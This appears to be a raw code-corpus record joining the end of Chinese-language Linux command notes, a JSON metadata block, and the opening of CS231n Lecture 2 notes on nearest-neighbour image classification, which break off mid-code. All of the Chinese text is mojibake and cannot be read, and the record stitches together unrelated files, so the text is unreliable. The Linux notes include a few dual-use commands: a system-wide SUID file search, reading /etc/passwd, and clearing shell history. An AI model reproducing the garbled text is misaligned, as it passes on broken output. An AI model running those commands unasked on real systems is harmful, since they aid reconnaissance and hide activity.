่ฝฝ้…็ฝฎๆ–‡ไปถ๏ผˆไธ็ปˆๆญขๆœๅŠก๏ผ‰\nsystemctl status foo.service\t# ๆŸฅ็œ‹ๆœๅŠก็Šถๆ€\n\nsystemctl enable foo.service\t# ๅผ€ๆœบ่‡ชๅŠจๅฏๅŠจ\nsystemctl disable foo.service\t# ๅผ€ๆœบไธ่‡ชๅŠจๅฏๅŠจ\nsystemctl is-enabled foo.service\t\t\t# ๆŸฅ็œ‹็‰นๅฎšๆœๅŠกๆ˜ฏๅฆไธบๅผ€ๆœบ่‡ชๅฏๅŠจ\nsystemctl list-unit-files --type=service\t# ๆŸฅ็œ‹ๅ„ไธช็บงๅˆซไธ‹ๆœๅŠก็š„ๅฏๅŠจไธŽ็ฆ็”จๆƒ…ๅ†ต\n```\n\n\n\n\n\n## ๆ–ฐๆ‰‹ๅฟ…้กปๆŽŒๆก็š„ Linux ๅ‘ฝไปค\n\n### `man` ๆ‰ง่กŒๆŸฅ็œ‹ๅธฎๅŠฉๅ‘ฝไปค\n\n- `man`ๅ‘ฝไปคไธญๅธธ็”จๆŒ‰้”ฎไปฅๅŠ็”จ้€”\n\n| ๆŒ‰้”ฎ | ็”จๅค„ |\n| --------- | ---------------------------------- |\n| ็ฉบๆ ผ้”ฎ | ๅ‘ไธ‹็ฟปไธ€้กต |\n| PaGe down | ๅ‘ไธ‹็ฟปไธ€้กต |\n| PaGe up | ๅ‘ไธŠ็ฟปไธ€้กต |\n| home | ็›ดๆŽฅๅ‰ๅพ€้ฆ–้กต |\n| end | ็›ดๆŽฅๅ‰ๅพ€ๅฐพ้กต |\n| / | ไปŽไธŠ่‡ณไธ‹ๆœ็ดขๆŸไธชๅ…ณ้”ฎ่ฏ๏ผŒๅฆ‚โ€œ/linuxโ€ |\n| ? | ไปŽไธ‹่‡ณไธŠๆœ็ดขๆŸไธชๅ…ณ้”ฎ่ฏ๏ผŒๅฆ‚โ€œ?linuxโ€ |\n| n | ๅฎšไฝๅˆฐไธ‹ไธ€ไธชๆœ็ดขๅˆฐ็š„ๅ…ณ้”ฎ่ฏ |\n| N | ๅฎšไฝๅˆฐไธŠไธ€ไธชๆœ็ดขๅˆฐ็š„ๅ…ณ้”ฎ่ฏ |\n| q | ้€€ๅ‡บๅธฎๅŠฉๆ–‡ๆกฃ |\n\n- `man`ๅ‘ฝไปคๅธฎๅŠฉไฟกๆฏ็š„็ป“ๆž„ไปฅๅŠๆ„ไน‰\n\n| ็ป“ๆž„ๅ็งฐ | ไปฃ่กจๆ„ไน‰ |\n| ----------- | ------------------------ |\n| NAME | ๅ‘ฝไปค็š„ๅ็งฐ |\n| SYNOPSIS | ๅ‚ๆ•ฐ็š„ๅคง่‡ดไฝฟ็”จๆ–นๆณ• |\n| DESCRIPTION | ไป‹็ป่ฏดๆ˜Ž |\n| EXAMPLES | ๆผ”็คบ๏ผˆ้™„ๅธฆ็ฎ€ๅ•่ฏดๆ˜Ž๏ผ‰ |\n| OVERVIEW | ๆฆ‚่ฟฐ |\n| DEFAULTS | ้ป˜่ฎค็š„ๅŠŸ่ƒฝ |\n| OPTIONS | ๅ…ทไฝ“็š„ๅฏ็”จ้€‰้กน๏ผˆๅธฆไป‹็ป๏ผ‰ |\n| ENVIRONMENT | ็Žฏๅขƒๅ˜้‡ |\n| FILES | ็”จๅˆฐ็š„ๆ–‡ไปถ |\n| SEE ALSO | ็›ธๅ…ณ็š„่ต„ๆ–™ |\n| HISTORY | ็ปดๆŠคๅŽ†ๅฒไธŽ่”็ณปๆ–นๅผ |\n\n\n\n\n\n### ๅธธ็”จ็ณป็ปŸๅทฅไฝœๅ‘ฝไปค\n\n#### `echo`\n\nๅœจ็ปˆ็ซฏ่พ“ๅ‡บๅญ—็ฌฆไธฒๆˆ–ๅ˜้‡ๆๅ–ๅŽ็š„ๅ€ผใ€‚Eg: `echo $SHELL`\n\n#### `date `\n\nEg: `date \"+%Y-%m-%d %H:%M:%S\"`\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ---- | -------------- |\n| %t | ่ทณๆ ผ[Tab้”ฎ] |\n| %H | ๅฐๆ—ถ๏ผˆ00๏ฝž23๏ผ‰ |\n| %I | ๅฐๆ—ถ๏ผˆ00๏ฝž12๏ผ‰ |\n| %M | ๅˆ†้’Ÿ๏ผˆ00๏ฝž59๏ผ‰ |\n| %S | ็ง’๏ผˆ00๏ฝž59๏ผ‰ |\n| %j | ไปŠๅนดไธญ็š„็ฌฌๅ‡ ๅคฉ |\n\n#### `reboot`\n\n้ป˜่ฎคๅช่ƒฝ root ็ฎก็†ๅ‘˜ๆฅ้‡ๅฏ\n\n#### `poweroff`\n\n้ป˜่ฎคๅช่ƒฝ root ็ฎก็†ๅ‘˜ๆฅๅ…ณ้—ญ\n\n#### `wget`\n\nEg: `wget -r -p https://www.linuxprobe.com`\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ---- | ------------------------------------ |\n| -b | ๅŽๅฐไธ‹่ฝฝๆจกๅผ |\n| -P | ไธ‹่ฝฝๅˆฐๆŒ‡ๅฎš็›ฎๅฝ• |\n| -t | ๆœ€ๅคงๅฐ่ฏ•ๆฌกๆ•ฐ |\n| -c | ๆ–ญ็‚น็ปญไผ  |\n| -p | ไธ‹่ฝฝ้กต้ขๅ†…ๆ‰€ๆœ‰่ต„ๆบ๏ผŒๅŒ…ๆ‹ฌๅ›พ็‰‡ใ€่ง†้ข‘็ญ‰ |\n| -r | ้€’ๅฝ’ไธ‹่ฝฝ |\n\n#### `ps`\n\n้™ๆ€็š„็ณป็ปŸ่ฟ›็จ‹็Šถๆ€ใ€‚\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ---- | ---------------------------------- |\n| -a | ๆ˜พ็คบๆ‰€ๆœ‰่ฟ›็จ‹๏ผˆๅŒ…ๆ‹ฌๅ…ถไป–็”จๆˆท็š„่ฟ›็จ‹๏ผ‰ |\n| -u | ็”จๆˆทไปฅๅŠๅ…ถไป–่ฏฆ็ป†ไฟกๆฏ |\n| -x | ๆ˜พ็คบๆฒกๆœ‰ๆŽงๅˆถ็ปˆ็ซฏ็š„่ฟ›็จ‹ |\n\n**R๏ผˆ่ฟ่กŒ๏ผ‰๏ผš**่ฟ›็จ‹ๆญฃๅœจ่ฟ่กŒๆˆ–ๅœจ่ฟ่กŒ้˜Ÿๅˆ—ไธญ็ญ‰ๅพ…ใ€‚\n\n**S๏ผˆไธญๆ–ญ๏ผ‰๏ผš**่ฟ›็จ‹ๅค„ไบŽไผ‘็œ ไธญ๏ผŒๅฝ“ๆŸไธชๆกไปถๅฝขๆˆๅŽๆˆ–่€…ๆŽฅๆ”ถๅˆฐไฟกๅทๆ—ถ๏ผŒๅˆ™่„ฑ็ฆป่ฏฅ็Šถๆ€ใ€‚\n\n**D๏ผˆไธๅฏไธญๆ–ญ๏ผ‰๏ผš**่ฟ›็จ‹ไธๅ“ๅบ”็ณป็ปŸๅผ‚ๆญฅไฟกๅท๏ผŒๅณไพฟ็”จkillๅ‘ฝไปคไนŸไธ่ƒฝๅฐ†ๅ…ถไธญๆ–ญใ€‚\n\n**Z๏ผˆๅƒตๆญป๏ผ‰๏ผš**่ฟ›็จ‹ๅทฒ็ป็ปˆๆญข๏ผŒไฝ†่ฟ›็จ‹ๆ่ฟฐ็ฌฆไพ็„ถๅญ˜ๅœจ, ็›ดๅˆฐ็ˆถ่ฟ›็จ‹่ฐƒ็”จwait4()็ณป็ปŸๅ‡ฝๆ•ฐๅŽๅฐ†่ฟ›็จ‹้‡Šๆ”พใ€‚\n\n**T๏ผˆๅœๆญข๏ผ‰๏ผš**่ฟ›็จ‹ๆ”ถๅˆฐๅœๆญขไฟกๅทๅŽๅœๆญข่ฟ่กŒใ€‚\n\n#### `top`\n\nๅŠจๆ€็š„็ณป็ปŸ่ฟ›็จ‹็Šถๆ€ใ€‚\n\n![](https://i.loli.net/2018/09/17/5b9fbcf51ea40.jpeg)\n\n#### `pidof`\n\n ๆŸฅ่ฏขๆŸๆœๅŠก็š„ PID\n\n#### `kill`\n\n็ปˆๆญขๆŸ PID ็š„ๆœๅŠก่ฟ›็จ‹\n\n#### `killall`\n\n็ปˆๆญขๆŸ่ฟ›็จ‹ๆ‰€ๅฏนๅบ”็š„ๅ…จ้ƒจ่ฟ›็จ‹\n\n\n\n### ็ณป็ปŸ็Šถๆ€็›‘ๆต‹ๅ‘ฝไปค\n\n#### `ifconfig`\n\n็ฝ‘ๅก้…็ฝฎไธŽ็ฝ‘็ปœ็Šถๆ€\n\n![](https://i.loli.net/2018/09/17/5b9fbd193d49e.jpeg)\n\n\n\n#### `uname`\n\n็ณป็ปŸๅ†…ๆ ธไธŽ็ณป็ปŸ็‰ˆๆœฌ `uname -a`\n\n#### `uptime`\n\n็ณป็ปŸ็š„่ดŸ่ฝฝไฟกๆฏ\n\n#### `free`\n\nๅ†…ๅญ˜็š„ไฝฟ็”จ้‡ไฟกๆฏ `free -h`\n\n#### `who`\n\n็™ปๅ…ฅไธปๆœบ็š„็”จๆˆท็ปˆ็ซฏไฟกๆฏ\n\n#### `last`\n\nๆ‰€ๆœ‰็ณป็ปŸ็š„็™ปๅฝ•่ฎฐๅฝ•\n\n#### `history`\n\nๅŽ†ๅฒๆ‰ง่กŒ่ฟ‡็š„ๅ‘ฝไปค\n\nEg: `history -c` ๆธ…็ฉบๆ‰€ๆœ‰็š„ๅ‘ฝไปคๅŽ†ๅฒ่ฎฐๅฝ•๏ผ›`!\"็ผ–็ ๆ•ฐๅญ—\"` ้‡ๅคๆ‰ง่กŒๆŸไธ€ๆฌก็š„ๅ‘ฝไปค\n\n#### `sosreport`\n\nๆ”ถ้›†็ณป็ปŸ้…็ฝฎไปฅๅŠๆžถๆž„ไฟกๆฏๅนถ่พ“ๅ‡บ่ฏŠๆ–ญๆ–‡ๆกฃ\n\n\n\n### ๅทฅไฝœ็›ฎๅฝ•ๅˆ‡ๆขๅ‘ฝไปค\n\n#### `pwd`\n\nๅฝ“ๅ‰ๅทฅไฝœ็›ฎๅฝ•\n\n#### `cd`\n\nๅˆ‡ๆขๅทฅไฝœ็›ฎๅฝ•\n\nEg๏ผš`cd ~` ๏ผ›`cd ..` ๏ผ› `cd -`\n\n#### `ls`\n\nๆ˜พ็คบ็›ฎๅฝ•ไธญๆ–‡ไปถไฟกๆฏ\n\nEg: `ls -a` ๅฏ็œ‹ๅˆฐ้š่—ๆ–‡ไปถ๏ผ›`ls -l` ๅฏ็œ‹ๅˆฐๆ–‡ไปถๅฑžๆ€ง๏ผ›`ls -h` ไบบๅฏ่ฏป็š„ใ€‚ใ€‚ใ€‚\n\n\n\n### ๆ–‡ๆœฌๆ–‡ไปถ็ผ–่พ‘ๅ‘ฝไปค\n\n#### `cat`\n\nๆŸฅ็œ‹ๅฐๆ–‡ไปถ\n\nEg: `cat -n` ๆ˜พ็คบ่กŒๅท\n\n#### `more`\n\nๆŸฅ็œ‹ๅคงๆ–‡ไปถ\n\n#### `head`\n\nๆŸฅ็œ‹ๅ‰ๅ‡ ่กŒ `head -n`\n\n#### `tail`\n\nๆŸฅ็œ‹ๅŽๅ‡ ่กŒ `tail -n`\n\nEg: `tail -f` ๅฎžๆ—ถๆŒ็ปญๆŸฅ็œ‹๏ผ\n\n#### `tr`\n\nๆ›ฟๆขๆ–‡ๆœฌๆ–‡ไปถไธญ็š„ๅญ—็ฌฆ๏ผˆๆญฃๅˆ™่กจ่พพๅผ๏ผ‰\n\nEg: `cat anaconda-ks.cfg | tr [a-z] [A-Z]` \n\n#### `wc`\n\n็ปŸ่ฎกๆ–‡ๆœฌ็š„่กŒๆ•ฐใ€ๅญ—ๆ•ฐใ€ๅญ—็ฌฆๆ•ฐ\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ---- | ------------ |\n| -l | ๅชๆ˜พ็คบ่กŒๆ•ฐ |\n| -w | ๅชๆ˜พ็คบๅ•่ฏๆ•ฐ |\n| -c | ๅชๆ˜พ็คบๅญ—่Š‚ๆ•ฐ |\n\n#### `stat`\n\nๆŸฅ็œ‹ๆ–‡ไปถ็š„ๅ…ทไฝ“ๅญ˜ๅ‚จไฟกๆฏๅ’Œๆ—ถ้—ด็ญ‰ไฟกๆฏ\n\n![](https://i.loli.net/2018/09/17/5b9fbd36884ef.jpeg)\n\n#### `cut`\n\nๆŒ‰โ€œๅˆ—โ€ๆๅ–ๆ–‡ๆœฌๅญ—็ฌฆ\n\nEg: `cut -d: -f1 /etc/passwd` ไปฅๅ†’ๅท(:)ไธบ้—ด้š”็ฌฆๅทๆๅ–็ฌฌไธ€ๅˆ—ๅ†…ๅฎน\n\n#### `diff`\n\nๆฏ”่พƒๅคšไธชๆ–‡ๆœฌๆ–‡ไปถ็š„ๅทฎๅผ‚\n\nEg: `diff --brief diff_A.txt diff_B.txt` ๆ˜พ็คบๆฏ”่พƒๅŽ็š„็ป“ๆžœ๏ผŒๅˆคๆ–ญๆ–‡ไปถๆ˜ฏๅฆ็›ธๅŒ\n\nEg: `diff -c diff_A.txt diff_B.txt` ๆ่ฟฐๆ–‡ไปถๅ†…ๅฎนๅ…ทไฝ“็š„ไธๅŒ\n\n\n\n### ๆ–‡ไปถ็›ฎๅฝ•็ฎก็†ๅ‘ฝไปค\n\n#### `touch`\n\nๅˆ›ๅปบ็ฉบ็™ฝๆ–‡ไปถๆˆ–่ฎพ็ฝฎๆ–‡ไปถ็š„ๆ—ถ้—ด\n\nEg: `touch -d \"2017-05-04 15:44\" anaconda-ks.cfg `\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ---- | ------------------------- |\n| -a | ไป…ไฟฎๆ”นโ€œ่ฏปๅ–ๆ—ถ้—ดโ€๏ผˆatime๏ผ‰ |\n| -m | ไป…ไฟฎๆ”นโ€œไฟฎๆ”นๆ—ถ้—ดโ€๏ผˆmtime๏ผ‰ |\n| -d | ๅŒๆ—ถไฟฎๆ”น atime ไธŽ mtime |\n\n#### `mkdir`\n\nๅˆ›ๅปบ็ฉบ็™ฝ็š„็›ฎๅฝ•\n\n#### `cp`\n\nๅคๅˆถๆ–‡ไปถๆˆ–็›ฎๅฝ•\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ---- | -------------------------------------------- |\n| -p | ไฟ็•™ๅŽŸๅง‹ๆ–‡ไปถ็š„ๅฑžๆ€ง |\n| -d | ่‹ฅๅฏน่ฑกไธบโ€œ้“พๆŽฅๆ–‡ไปถโ€๏ผŒๅˆ™ไฟ็•™่ฏฅโ€œ้“พๆŽฅๆ–‡ไปถโ€็š„ๅฑžๆ€ง |\n| -r | ้€’ๅฝ’ๆŒ็ปญๅคๅˆถ๏ผˆ็”จไบŽ็›ฎๅฝ•๏ผ‰ |\n| -i | ่‹ฅ็›ฎๆ ‡ๆ–‡ไปถๅญ˜ๅœจๅˆ™่ฏข้—ฎๆ˜ฏๅฆ่ฆ†็›– |\n| -a | ็›ธๅฝ“ไบŽ `-pdr`๏ผˆpใ€dใ€rไธบไธŠ่ฟฐๅ‚ๆ•ฐ๏ผ‰ |\n\n#### `mv`\n\nๅ‰ชๅˆ‡ๆ–‡ไปถๆˆ–ๅฐ†ๆ–‡ไปถ้‡ๅ‘ฝๅ\n\n#### `rm`\n\nๅˆ ้™คๆ–‡ไปถๆˆ–็›ฎๅฝ•\n\nEg: `rm -f` ๅผบๅˆถๅˆ ้™ค\n\n#### `dd`\n\nๆŒ‰็…งๆŒ‡ๅฎšๅคงๅฐๅ’Œไธชๆ•ฐ็š„ๆ•ฐๆฎๅ—ๆฅๅคๅˆถๆ–‡ไปถๆˆ–่ฝฌๆขๆ–‡ไปถ\n\nEg: `dd if=/dev/zero of=560_file count=1 bs=560M`ไปŽ/dev/zeroไธญๅ–ๅ‡บไธ€ไธชๅคงๅฐไธบ560MB็š„ๆ•ฐๆฎๅ—๏ผŒไฟๅญ˜ๅไธบ560_file็š„ๆ–‡ไปถ\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ----- | -------------------- |\n| if | ่พ“ๅ…ฅ็š„ๆ–‡ไปถๅ็งฐ |\n| of | ่พ“ๅ‡บ็š„ๆ–‡ไปถๅ็งฐ |\n| bs | ่ฎพ็ฝฎๆฏไธชโ€œๅ—โ€็š„ๅคงๅฐ |\n| count | ่ฎพ็ฝฎ่ฆๅคๅˆถโ€œๅ—โ€็š„ไธชๆ•ฐ |\n\n#### `file`\n\nๆŸฅ็œ‹โ€œไปปไฝ•โ€ๆ–‡ไปถ็š„็ฑปๅž‹\n\n\n\n### ๆ‰“ๅŒ…ๅŽ‹็ผฉไธŽๆœ็ดขๅ‘ฝไปค\n\n#### `tar`\n\nๅฏนๆ–‡ไปถ่ฟ›่กŒๆ‰“ๅŒ…ๅŽ‹็ผฉๆˆ–่งฃๅŽ‹\n\nEg: `tar czvf etc.tar.gz /etc` ๅŽ‹็ผฉ๏ผ›`tar xzvf etc.tar.gz -C /root/etc` ่งฃๅŽ‹\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ---- | ---------------------- |\n| -c | ๅˆ›ๅปบๅŽ‹็ผฉๆ–‡ไปถ |\n| -x | ่งฃๅผ€ๅŽ‹็ผฉๆ–‡ไปถ |\n| -t | ๆŸฅ็œ‹ๅŽ‹็ผฉๅŒ…ๅ†…ๆœ‰ๅ“ชไบ›ๆ–‡ไปถ |\n| -z | ็”จGzipๅŽ‹็ผฉๆˆ–่งฃๅŽ‹ |\n| -j | ็”จbzip2ๅŽ‹็ผฉๆˆ–่งฃๅŽ‹ |\n| -v | ๆ˜พ็คบๅŽ‹็ผฉๆˆ–่งฃๅŽ‹็š„่ฟ‡็จ‹ |\n| -f | ็›ฎๆ ‡ๆ–‡ไปถๅ |\n| -p | ไฟ็•™ๅŽŸๅง‹็š„ๆƒ้™ไธŽๅฑžๆ€ง |\n| -P | ไฝฟ็”จ็ปๅฏน่ทฏๅพ„ๆฅๅŽ‹็ผฉ |\n| -C | ๆŒ‡ๅฎš่งฃๅŽ‹ๅˆฐ็š„็›ฎๅฝ• |\n\n#### `grep`\n\nๅœจๆ–‡ๆœฌไธญๆ‰ง่กŒๅ…ณ้”ฎ่ฏๆœ็ดข๏ผŒๅนถๆ˜พ็คบๅŒน้…็š„็ป“ๆžœ\n\nEg: `grep /sbin/nologin /etc/passwd`\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ---- | ---------------------------------------------- |\n| -b | ๅฐ†ๅฏๆ‰ง่กŒๆ–‡ไปถ(binary)ๅฝ“ไฝœๆ–‡ๆœฌๆ–‡ไปถ๏ผˆtext๏ผ‰ๆฅๆœ็ดข |\n| -c | ไป…ๆ˜พ็คบๆ‰พๅˆฐ็š„่กŒๆ•ฐ |\n| -i | ๅฟฝ็•ฅๅคงๅฐๅ†™ |\n| -n | ๆ˜พ็คบ่กŒๅท |\n| -v | ๅๅ‘้€‰ๆ‹ฉโ€”โ€”ไป…ๅˆ—ๅ‡บๆฒกๆœ‰โ€œๅ…ณ้”ฎ่ฏโ€็š„่กŒใ€‚ |\n\n#### `find`\n\nๆŒ‰็…งๆŒ‡ๅฎšๆกไปถๆฅๆŸฅๆ‰พๆ–‡ไปถ\n\nEg: `find /etc -name \"host*\" -print` ่Žทๅ–ๅˆฐ /etc ็›ฎๅฝ•ไธญๆ‰€ๆœ‰ไปฅ host ๅผ€ๅคด็š„ๆ–‡ไปถๅˆ—่กจ\n\nEg: `find / -perm -4000 -print` ๅœจๆ•ดไธช็ณป็ปŸไธญๆœ็ดขๆƒ้™ไธญๅŒ…ๆ‹ฌSUIDๆƒ้™็š„ๆ‰€ๆœ‰ๆ–‡ไปถ\n\n| ๅ‚ๆ•ฐ | ไฝœ็”จ |\n| ------------------ | ------------------------------------------------------------ |\n| -name | ๅŒน้…ๅ็งฐ |\n| -perm | ๅŒน้…ๆƒ้™๏ผˆmodeไธบๅฎŒๅ…จๅŒน้…๏ผŒ-modeไธบๅŒ…ๅซๅณๅฏ๏ผ‰ |\n| -user | ๅŒน้…ๆ‰€ๆœ‰่€… |\n| -group | ๅŒน้…ๆ‰€ๆœ‰็ป„ |\n| -mtime -n +n | ๅŒน้…ไฟฎๆ”นๅ†…ๅฎน็š„ๆ—ถ้—ด๏ผˆ-nๆŒ‡nๅคฉไปฅๅ†…๏ผŒ+nๆŒ‡nๅคฉไปฅๅ‰๏ผ‰ |\n| -atime -n +n | ๅŒน้…่ฎฟ้—ฎๆ–‡ไปถ็š„ๆ—ถ้—ด๏ผˆ-nๆŒ‡nๅคฉไปฅๅ†…๏ผŒ+nๆŒ‡nๅคฉไปฅๅ‰๏ผ‰ |\n| -ctime -n +n | ๅŒน้…ไฟฎๆ”นๆ–‡ไปถๆƒ้™็š„ๆ—ถ้—ด๏ผˆ-nๆŒ‡nๅคฉไปฅๅ†…๏ผŒ+nๆŒ‡nๅคฉไปฅๅ‰๏ผ‰ |\n| -nouser | ๅŒน้…ๆ— ๆ‰€ๆœ‰่€…็š„ๆ–‡ไปถ |\n| -nogroup | ๅŒน้…ๆ— ๆ‰€ๆœ‰็ป„็š„ๆ–‡ไปถ |\n| -newer f1 !f2 | ๅŒน้…ๆฏ”ๆ–‡ไปถf1ๆ–ฐไฝ†ๆฏ”f2ๆ—ง็š„ๆ–‡ไปถ |\n| --type b/d/c/p/l/f | ๅŒน้…ๆ–‡ไปถ็ฑปๅž‹๏ผˆๅŽ้ข็š„ๅญ—ๅน•ๅญ—ๆฏไพๆฌก่กจ็คบๅ—่ฎพๅค‡ใ€็›ฎๅฝ•ใ€ๅญ—็ฌฆ่ฎพๅค‡ใ€็ฎก้“ใ€้“พๆŽฅๆ–‡ไปถใ€ๆ–‡ๆœฌๆ–‡ไปถ๏ผ‰ |\n| -size | ๅŒน้…ๆ–‡ไปถ็š„ๅคงๅฐ๏ผˆ+50KBไธบๆŸฅๆ‰พ่ถ…่ฟ‡50KB็š„ๆ–‡ไปถ๏ผŒ่€Œ-50KBไธบๆŸฅๆ‰พๅฐไบŽ50KB็š„ๆ–‡ไปถ๏ผ‰ |\n| -prune | ๅฟฝ็•ฅๆŸไธช็›ฎๅฝ• |\n| -exec โ€ฆโ€ฆ {}\\; | ๅŽ้ขๅฏ่ทŸ็”จไบŽ่ฟ›ไธ€ๆญฅๅค„็†ๆœ็ดข็ป“ๆžœ็š„ๅ‘ฝไปค๏ผˆไธ‹ๆ–‡ไผšๆœ‰ๆผ”็คบ๏ผ‰ |\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6497184634208679, "alphanum_fraction": 0.7010599374771118, "avg_line_length": 24.162500381469727, "blob_id": "7ed9c9d978fb3a3a6d8e32be825926149199ca36", "content_id": "54d26b78f88b8d4aba4449e7980005304093db92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 9034, "license_type": "no_license", "max_line_length": 394, "num_lines": 240, "path": "/blog/cs231n/cs231n_2.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.2\ndate: 2018-08-18\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=4)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n> ๅฆๆœ‰่ฏฅ Lecture 2. ๆ‰ฉๅฑ•่ฎฒไน‰่ต„ๆ–™๏ผš\n>\n> - [python/numpy tutorial](https://link.zhihu.com/?target=http%3A//cs231n.github.io/python-numpy-tutorial) ๏ผˆ็ฟป่ฏ‘๏ผš[Python Numpyๆ•™็จ‹](https://zhuanlan.zhihu.com/p/20878530?refer=intelligentunit)๏ผ‰\n>\n> - [image classification notes](http://cs231n.github.io/classification) ([ไธญ่ฏ‘็‰ˆ](./CS231n_image_classification_note.html))\n> - [linear classification notes](http://cs231n.github.io/linear-classify)๏ผˆ[ไธญ่ฏ‘็‰ˆ](./CS231n_linear_classification_note.html)๏ผ‰\n\n\n\n# Lecture 2. Image Classification & K-nearest neighbor\n\n \n\n้’ˆๅฏน CS231n ่ฟ™ไธช่ฏพ็จ‹๏ผŒๆˆ‘ไปฌ็š„ๆ ธๅฟƒๆ˜ฏ๏ผš<u>How do we work on this image (below) classification task?</u>\n\n## The Problem: Semantic Gap\n\n![](https://i.loli.net/2018/08/18/5b77f5c0b25b5.png)\n\nๆˆ‘ไปฌ้€š่ฟ‡่ง‚ๅฏŸๅ›พ็‰‡๏ผŒๅฏไปฅๅพ—ๅˆฐๆ˜Ž็กฎ็š„่ฏญไน‰ไฟกๆฏ๏ผŒๆฏ”ๅฆ‚ๅ›พ็‰‡ๅฏนๅบ”็š„่ฏญไน‰ๆ ‡็ญพๆ˜ฏ็Œซ่ฟ˜ๆ˜ฏ็‹—ใ€‚้‚ฃไนˆ่ฎก็ฎ—ๆœบ็ฉถ็ซŸ็œ‹ๅˆฐ็š„ๆ˜ฏไป€ไนˆ๏ผŸๆ˜ฏไธ€ๅ †ๅ †็ Œ่ตทๆฅ็š„ๆ•ฐๅญ—๏ผŒๅฆ‚ไธŠๅ›พใ€‚่ฟ™ๅฐฑๆ˜ฏๆ‰€่ฐ“็š„**โ€œSemantic gapโ€๏ผˆ่ฏญไน‰้ธฟๆฒŸ๏ผ‰**๏ผŒๆ˜พ็„ถ่ฟ™ไธชๅทฎ่ทๆ˜ฏๅพˆๅคง็š„ใ€‚\n\n\n\n## Challenges\n\n่ฟ™้‡Œ่ฆ่ฏด็š„ๆ˜ฏ่ฏญไน‰้ธฟๆฒŸๆ˜พ็„ถไธๆ˜ฏๅ•ๅฐ„็š„ๅ•Š๏ผๅฏ่ƒฝๆœ‰ๆ— ๆ•ฐ็งๅ †็ Œ่€Œๆˆ็š„ๆ•ฐๅญ—่กจ็คบ็š„ๅƒ็ด ๏ผŒๅ…ถ่กจ็คบ็š„ๆ˜ฏๅŒไธ€ไธช่ฏญไน‰ๆ ‡็ญพ๏ผๆฏ”ๆ–น่ฏด๏ผŒ\n\n- Viewpoint variation๏ผˆ้•œๅคดไธๅŒ่ง†่ง’๏ผ‰\n- Illumination๏ผˆๅ…‰็บฟ็…งๆ˜Žๆกไปถ๏ผ‰\n- Deformation๏ผˆ่ฏญไน‰ๅฏน่ฑกๅฏๅ˜ๅฝข๏ผ‰\n- Occlusion๏ผˆ่ฏญไน‰ๅฏน่ฑก่ขซ้ฎๆŒก๏ผ‰\n- Background Clutter๏ผˆๅ›พๅƒ่ƒŒๆ™ฏๆททๆท†๏ผ‰\n- Intraclass variation๏ผˆๅญ˜ๅœจ็ฑปๅ†…ๅทฎๅผ‚๏ผ‰\n\n\n\nๆŽฅไธ‹ๆฅ๏ผŒ่€ๅธˆ่ฎฒ็š„ๅ†…ๅฎนๅฐฑๆ˜ฏ่ฏดไธๅคชๅฏ่ƒฝๆœ‰ไธ€ไธช็›ดๆˆชไบ†ๅฝ“็š„็จ‹ๅบ่ƒฝๅคŸไธ€ไธ‹ๅญ่งฃๅ†ณๅ›พๅƒ่ฏ†ๅˆซ็š„้—ฎ้ข˜ใ€‚ๅ…ถๅฎž่ฟ™้‡Œๆญฃๆ˜ฏๅ‡ธๆ˜พไบ†โ€œ็จ‹ๅบโ€ๅ’Œโ€œ็ฎ—ๆณ•โ€็š„ๆœ€ๅคงๅทฎๅผ‚ไน‹ไธ€๏ผŒ้‚ฃๅฐฑๆ˜ฏโ€œๆ€Žไนˆๅœไธ‹ๆฅโ€ใ€‚ใ€‚ใ€‚ใ€‚\n\n็ŽฐไปŠๅคงๅคšๆ•ฐๅ›พๅƒ่ฏ†ๅˆซ็š„้—ฎ้ข˜้ƒฝๆ˜ฏๅฏไปฅ่ขซ่งฃๅ†ณ็š„๏ผŒๅ› ไธบๆˆ‘ไปฌ็”จไบ†ๆ•ฐๆฎ้ฉฑๅŠจ็š„ๆ–นๆณ•๏ผ\n\n\n\n## Data-Driven Approach\n\nๆœ€ๅŸบๆœฌ็š„ๆญฅ้ชค้€ป่พ‘ๅฐฑไธ‰็‚น๏ผš\n\n1. Collect a dataset of images and labels\n2. Use Machine Learning to train a classifier\n3. Evaluate the classifier on new images\n\n\n\n\n\nๅฐฑๆ•ฐๆฎ้ฉฑๅŠจ็š„่ง’ๅบฆๅ‡บๅ‘๏ผŒๅผ€ๅง‹ไธพไธ€ไธชๆœ€็ฎ€ๅ•็š„ไผ ็ปŸๆœบๅ™จๅญฆไน ็ฎ—ๆณ•ไฝœไธบไพ‹ๅญ๏ผš**Nearest Neighbor**\n\n## Fisrt classifier: Nearest Neighbor\n\nๆœ‰ไธค็‚นๆๅ‰่ฏดๆ˜Ž๏ผš\n\n1. ๆ•ฐๆฎ้›†๏ผšCIFAR10\n\n ![![](https://i.loli.net/2018/08/18/5b77f5c0b25b5.png)](https://i.loli.net/2018/08/18/5b77f561d0f4a.png)\n\n2. Distance Metric to compare images๏ผš**L1 distance**\n $$\n d_1(I_1,I_2) = \\sum_p|I^p_1-I^p_2|\n $$\n\n\n\n\n\n\n### Code\n\n- Nearest Neighbor ็š„ๅฎŒๆ•ด Numpy ไปฃ็ ๏ผš\n\n ```python\n import numpy as np\n \n class NearestNeighbor:\n def __init__(self):\n pass\n \n def train(self, X, y): # Memorize traing data\n \"\"\" X is N 